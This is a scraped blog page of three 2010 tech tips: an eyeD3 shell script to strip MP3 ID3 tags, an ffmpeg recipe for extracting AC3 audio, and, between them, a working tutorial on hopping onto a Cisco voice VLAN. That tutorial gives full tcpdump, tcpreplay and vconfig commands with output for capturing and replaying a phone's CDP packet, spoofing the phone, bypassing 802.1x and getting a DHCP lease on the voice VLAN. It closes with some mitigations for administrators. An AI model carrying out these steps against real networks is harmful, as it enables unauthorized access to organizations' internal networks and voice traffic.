Strip All Unwanted MP3 ID3 Tags

Posted by gmendoza on June 20, 2010 under Tech Tips | Be the First to Comment

A while back, I wanted to find a tool that would go through my entire collection of MP3′s and remove all the extra ID3 tags I didn’t want. For example, when I purchase music from Amazon, Rhapsody, and other online music stores, there are a number of tags in the files that track things like the purchase date and sales transaction ID’s. I also like to get rid of annoying comments and other hidden tags that most editors won’t even show you.

In my search for a tool, I came across this very useful post outlining a similar project. In the authors quest to do the same thing, he came up with a shell script that searches for all MP3 files, and removes tags that are not in his list of “good” tags. I usually don’t like to rehash the work someone else has done, but since I use his script so often, I thought it would be useful to repost it with only minor modifications.

Prerequisite: Install eyeD3

The script requires the eyeD3 tag editor to parse and manipulate the tag data. So be sure to install eyeD3, which should be available in your favorite Linux repository.

sudo apt-get install eyed3

Save and Modify Script

Save the following script as strip-tags.sh somewhere in your executable path.

#!/bin/bash
# Script name: strip-tags.sh
# Original Author: Ian of DarkStarShout Blog
# Site: http://darkstarshout.blogspot.com/
# Options slightly modified to liking of SavvyAdmin.com
 
oktags="TALB APIC TCON TPE1 TPE2 TPE3 TIT2 TRCK TYER TCOM TPOS"
 
indexfile=`mktemp`
 
#Determine tags present:
find . -iname "*.mp3" -exec eyeD3 --no-color -v {} \; > $indexfile
tagspresent=`sort -u $indexfile | awk -F\): '/^<.*$/ {print $1}' \
| uniq | awk -F\)\> '{print $1}' | awk -F\( '{print $(NF)}' \
| awk 'BEGIN {ORS=" "} {print $0}'`
 
rm $indexfile
 
#Determine tags to strip:
tostrip=`echo -n $tagspresent $oktags $oktags \
| awk 'BEGIN {RS=" "; ORS="\n"} {print $0}' | sort | uniq -u \
| awk 'BEGIN {ORS=" "} {print $0}'`
 
#Confirm action:
echo
echo The following tags have been found in the mp3s:
echo $tagspresent
echo These tags are to be stripped:
echo $tostrip
echo
echo -n Press enter to confirm, or Ctrl+C to cancel...
read dummy
 
#Strip 'em
stripstring=`echo $tostrip \
| awk 'BEGIN {FS="\n"; RS=" "} {print "--set-text-frame=" $1 ": "}'`
 
# First pass copies any v1.x tags to v2.3 and strips unwanted tag data.
# Second pass removes v1.x tags, since I don't like to use them.
# Without --no-tagging-time-frame, a new unwanted tag is added.  :-)
 
find . -iname "*.mp3" \
-exec eyeD3 --to-v2.3 --no-tagging-time-frame $stripstring {} \; \
-exec eyeD3 --remove-v1 --no-tagging-time-frame {} \; 
 
echo "Script complete!"

To run the script, just execute it from the top level parent directory.

cd ~/Music/
strip-tags.sh

I really didn’t change a whole lot from the original, only making slight tweaks to eyeD3 options. For example, I removed colors from the eyeD3 output when creating the first list of tags, and added a line to remove v1.x ID3 tags since I don’t like to keep them around.

Be sure to edit the list of good tags identified by the “okaytags” variable. My preferred list includes the following:

oktags="TALB APIC TCON TPE1 TPE2 TPE3 TIT2 TRCK TYER TCOM TPOS"

TALB - Album/Movie/Show title
APIC - Attached picture (Album Art)
TCON - Content type (Genre)
TPE1 - Lead performer(s)/Soloist(s)
TPE2 - Band/orchestra/accompaniment
TPE3 - Conductor/performer refinement
TIT2 - Title/songname/content description
TRCK - Track number/Position in set
TYER - Year
TCOM - Composer
TPOS - Part of a set

Enjoy!

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VLAN Hopping on Cisco Voice-enabled Switch Ports

Posted by gmendoza on June 15, 2010 under Tech Tips | 2 Comments to Read

There’s a number of reasons why someone would want to gain unauthorized access to your network’s voice VLAN, and as you can guess, none of them are any good. By strategically replaying CDP packets used by Cisco VoIP phones, and configuring your computer’s NIC to use 802.1q tagged packets, you can gain full network access on a Cisco switch port configured with a Voice VLAN. Yes… even those protected by 802.1x authentication. In the following how-to, we’ll demonstrate how exploit this behavior using Linux and freely available open source software.

Prerequisites
First, install two packages from your repositories. The vlan package adds a kernel module required for 802.1q VLAN tagging and the vconfig tool used to configure VLAN sub-interfaces. tcpreplay is a packet injection utility that we will use to replay CDP packets into the network from a pcap file.

sudo apt-get install vlan tcpreplay
sudo modprobe 8021q

The second command loads the 8021q kernel module. If you want the module loaded at boot-up, remember to add it to /etc/modules or the appropriate file for your GNU/Linux distribution.

Discover Voice-enabled Switch Port Information

Plug into the switched network, bypassing the VoIP phone, and perform a packet capture to inspect the switches CDP announcements. If the switch port is configured with a Voice VLAN, the configured VLAN identifier will be advertised. From our output below, the switch says we are plugged into port number FastEthernet0/24 and the Voice VLAN number is 64.

sudo tcpdump -s 0 -c 1 -ni eth0 ether host 01:00:0c:cc:cc:cc
17:17:13.215645 CDPv2, ttl: 180s, checksum: 692 (unverified), length 404
Device-ID (0x01), length: 26 bytes: 'labswitch.example.com'
Version String (0x05), length: 186 bytes:
Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(50)SE1, RELEASE SOFTWARE (fc2)
Copyright (c) 1986-2009 by Cisco Systems, Inc.
Compiled Mon 06-Apr-09 08:36 by amvarma
Platform (0x06), length: 21 bytes: 'cisco WS-C2960-24PC-L'
Address (0x02), length: 13 bytes: IPv4 (1) 10.1.1.1
Port-ID (0x03), length: 16 bytes: 'FastEthernet0/24'
Capability (0x04), length: 4 bytes: (0x00000028): L2 Switch, IGMP snooping
Protocol-Hello option (0x08), length: 32 bytes:
VTP Management Domain (0x09), length: 9 bytes: 'LABVTP'
Native VLAN ID (0x0a), length: 2 bytes: 1
Duplex (0x0b), length: 1 byte: full
ATA-186 VoIP VLAN request (0x0e), length: 3 bytes: app 1, vlan 64
AVVID trust bitmap (0x12), length: 1 byte: 0x00
AVVID untrusted ports CoS (0x13), length: 1 byte: 0x00
Management Addresses (0x16), length: 13 bytes: IPv4 (1) 10.1.1.1
unknown field type (0x1a), length: 12 bytes:
0x0000: 0000 0001 0000 0000 ffff ffff

Capture a Sample VoIP phone CDP Packet

Plug the Cisco VoIP phone back into the switch port and wait for it to come back online. Plug your laptop back into the data port of the phone in your typical daisy-chain topology. Use tcpdump again to capture a single CDP packet, saving it to a capture file. If you’re plugged into the phone, the only CDP packets you should see are those sent by the phone. These CDP packets should be neatly constructed with all of the appropriate voice VLAN values. From the switches perspective (and network administrators monitoring CDP tables), it will look exactly as if a phone is connected to the port, down to the phone model and serial number. ;-)

The following tcpdump filter looks for the CDP destination MAC address, stops after one packet, and saves it to a file called cdp-packet.cap. You will use this CDP packet capture file in your replay attack.

sudo tcpdump -s 0 -w cdp-packet.cap -c 1 -ni eth0 ether host 01:00:0c:cc:cc:cc
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
1 packets captured
1 packets received by filter
0 packets dropped by kernel

Verify the CDP packet details by reading the capture file with tcpdump. The following shows that everything is in order, including the VoIP VLAN Request for VLAN 64, which highlighted below.

sudo tcpdump -vr cdp-packet.cap
reading from file cdp-packet.cap, link-type EN10MB (Ethernet)
09:44:42.263551 CDPv2, ttl: 180s, checksum: 692 (unverified), length 125
Device-ID (0x01), length: 15 bytes: 'SEP0015626A51E9'
Address (0x02), length: 13 bytes: IPv4 (1) 10.1.64.10
Port-ID (0x03), length: 6 bytes: 'Port 2'
Capability (0x04), length: 4 bytes: (0x00000490): L3 capable
Version String (0x05), length: 12 bytes:
P00308010100
Platform (0x06), length: 19 bytes: 'Cisco IP Phone 7940'
Native VLAN ID (0x0a), length: 2 bytes: 1
Duplex (0x0b), length: 1 byte: full
ATA-186 VoIP VLAN request (0x0e), length: 3 bytes: app 1, vlan 64
AVVID trust bitmap (0x12), length: 1 byte: 0x00
AVVID untrusted ports CoS (0x13), length: 1 byte: 0x00

Replay CDP Packets to Spoof a Cisco VoIP Phone

You’ll want to unplug the phone from the switch and plug your computer into the switch port directly. Using the tcpreplay command, you can read and inject the contents of the packet capture file from the previous step, effectively spoofing the Cisco VoIP phone. When the switch receives this packet, the voice VLAN will be available to use.

sudo tcpreplay -i eth0 cdp-packet.cap
Actual: 1 packets (147 bytes) sent in 0.06 seconds
Rated: 2450.0 bps, 0.02 Mbps, 16.67 pps
Statistics for network device: eth0
Attempted packets: 1
Successful packets: 1
Failed packets: 0
Retried packets (ENOBUFS): 0
Retried packets (EAGAIN): 0

Once the Voice VLAN is enabled, you will only have a limited amount of time to use it. A typical Cisco phone will send a CDP packet every 60 seconds, so you can simulate this behavior by running your command in a timed loop. I prefer to use the watch command, and leave it running in a terminal until it’s no longer needed. Using the command below, the CDP packet will be replayed every 60 seconds.

sudo watch -n 60 "tcpreplay -i eth0 cdp-packet.cap"

Access Voice VLAN with 802.1q Sub-interface

In order for you to access the voice VLAN, you must add a sub-interface for eth0 using the vconfig command. The following example uses vconfig to add a sub-interface that tags packets to access VLAN 64. The sub-interface will be named eth0.64 as shown below.

sudo vconfig add eth0 64
Added VLAN with VID == 64 to IF -:eth0:-

ifconfig eth0.64
eth0.64 Link encap:Ethernet HWaddr 00:26:b9:bc:5b:68
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:95 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:4370 (4.3 KB) TX bytes:0 (0.0 B)

At this point you can access the VLAN in any fashion you see fit. For example, you can obtain an IP address via DHCP and test communication by pinging your default gateway as shown below.

sudo dhclient3 eth0.64
Listening on LPF/eth0.64/00:26:b9:bc:5b:68
Sending on LPF/eth0.64/00:26:b9:bc:5b:68
Sending on Socket/fallback
DHCPDISCOVER on eth0.64 to 255.255.255.255 port 67 interval 3
DHCPOFFER of 10.1.64.11 from 10.1.64.5
DHCPREQUEST of 10.1.64.11 on eth0.64 to 255.255.255.255 port 67
DHCPACK of 10.1.64.11 from 10.1.64.5
bound to 10.1.64.11 -- renewal in 35707 seconds.

ping -c 4 10.1.64.1
PING 10.1.64.1 (10.1.64.1) 56(84) bytes of data.
64 bytes from 10.1.64.1: icmp_seq=1 ttl=64 time=2.88 ms
64 bytes from 10.1.64.1: icmp_seq=2 ttl=64 time=2.85 ms
64 bytes from 10.1.64.1: icmp_seq=3 ttl=64 time=2.84 ms
64 bytes from 10.1.64.1: icmp_seq=4 ttl=64 time=2.30 ms

--- 10.1.64.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 2.303/2.721/2.888/0.244 ms

Mitigation… Aww, Bummer…

Unfortunately, there is currently no way to prevent this method of unauthorized voice VLAN access. Remember, this “vulnerability” is really just a limitation of the voice VLAN negotiation process. It’s not new (see the following Cisco security bulletin from 2005), but I suspect it will become a bigger problem as more organizations begin to deploy VoIP with little thought going into layered defenses and access protection.

However, for network administrators that wish to limit the threat associated to unauthorized voice VLAN access, consider the following recommendations.

1. Enable security features that prevent layer-2/3 man-in-the-middle and other nefarious attacks. DHCP Snooping, Dynamic ARP Inspection, Port-Security, and IP Source Guard will help in keeping attackers from intercepting voice traffic, and a number of other threats associated with layer-2/3 spoofing.

2. Add VLAN access lists and Layer-3 boundary ACL’s limiting clients on the Voice VLAN to access only resources required for VoIP functionality. By limiting voice VLAN communication to the minimum required protocols and port numbers, you will greatly reduce the attack surface for the rest of your network.

3. Apply QoS policies that limit the effects of attempted Denial of Service attacks against the VoIP infrastructure. Auto QoS and even simple Storm Control features can help limit traffic, and actively notify administrators of abnormal traffic patterns.

4. Protect your IP telephony system at the application layer by requiring VoIP phone authentication and encryption.

There are some really cool projects dedicated to exploiting this vulnerability and similar weaknesses by other manufacturers. One such tool called VoIP Hopper completely automates the above process. It even comes with it’s own built-in DHCP client, and is kind enough to automatically generate pre-constructed CDP packets for you.

I hope you have found this tutorial useful. Feel free to add comments, suggestions, or drop me an email for confidential questions!

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Extract AC3 Dolby Digital with FFMpeg

Posted by gmendoza on February 21, 2010 under Tech Tips | Be the First to Comment

If you have a source video file encoded with an AC3 Dolby Digital audio stream, you can extract the audio in it’s native format using FFMpeg.

The following example shows how to identify the available audio streams of the file video.avi. Just use ffmpeg without any output options, and you can see there are two streams (0.0 and 0.1), the second is AC3 audio.

ffmpeg -i video.avi
Input #0, avi, from 'video.avi':
Duration: 01:17:57.64, start: 0.000000, bitrate: 1587 kb/s
Stream #0.0: Video: mpeg4, yuv420p, 672x576 (snipped for brevity)
Stream #0.1: Audio: ac3, 48000 Hz, 5.1, s16, 448 kb/s
At least one output file must be specified

The following command will extract the AC3 audio stream to a file called audio.ac3.

ffmpeg -i video.avi -acodec copy audio.ac3
Input #0, avi, from 'video.avi':
Duration: 01:17:57.64, start: 0.000000, bitrate: 1587 kb/s
Stream #0.0: Video: mpeg4, yuv420p, 672x576 (snipped for brevity)
Stream #0.1: Audio: ac3, 48000 Hz, 5.1, s16, 448 kb/s
Output #0, ac3, to 'audio.ac3':
Stream #0.0: Audio: ac3, 48000 Hz, 5.1, s16, 448 kb/s
Stream mapping:
Stream #0.1 -> #0.0
Press [q] to stop encoding
size= 255799kB time=4677.51 bitrate= 448.0kbits/s
video:0kB audio:255799kB global headers:0kB muxing overhead 0.000000%

Verify the file was created. The output below shows that this stream is about 250Mb.

ls -lh audio.ac3
-rw-r--r-- 1 username gmendoza 250M 2010-02-21 09:47 audio.ac3

You can now use ffmpeg again to show that audio.ac3 only contains the ac3 audio stream.

ffmpeg -i audio.ac3
Input #0, ac3, from 'audio.ac3':
Duration: 01:17:57.46, bitrate: 448 kb/s
Stream #0.0: Audio: ac3, 48000 Hz, 5.1, s16, 448 kb/s
At least one output file must be specified

Now that you have extracted the audio stream, you can do anything you wish with it. Enjoy.

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